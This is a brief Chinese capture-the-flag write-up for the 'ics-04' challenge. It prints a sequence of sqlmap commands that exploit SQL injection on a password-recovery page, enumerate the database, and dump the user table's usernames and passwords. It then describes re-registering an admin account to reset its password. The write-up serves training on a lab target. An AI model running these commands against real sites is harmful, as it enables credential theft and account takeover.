![[wp] 攻防世界 ics-04,第1张 [wp] 攻防世界 ics-04,第1张](/aiimages/%5Bwp%5D+%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C+ics-04.png)
尝试注册登陆账号
扫了下目录没发现什么,用sqlmap把每个页面跑过去,发现在找回密码页面有注入
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1"
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" --dbs
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" -D cetc004 --tables
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" -D cetc004 -T user --columns
sqlmap.py -u "http://111.198.29.45:46827/findpwd.php" --data="username=1" -D cetc004 -T user -C username&password --dump
被hash加密了,发现注册页面可以再次注册c3tlwDmIn23这个账号,成功重置密码,登入得到flag
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)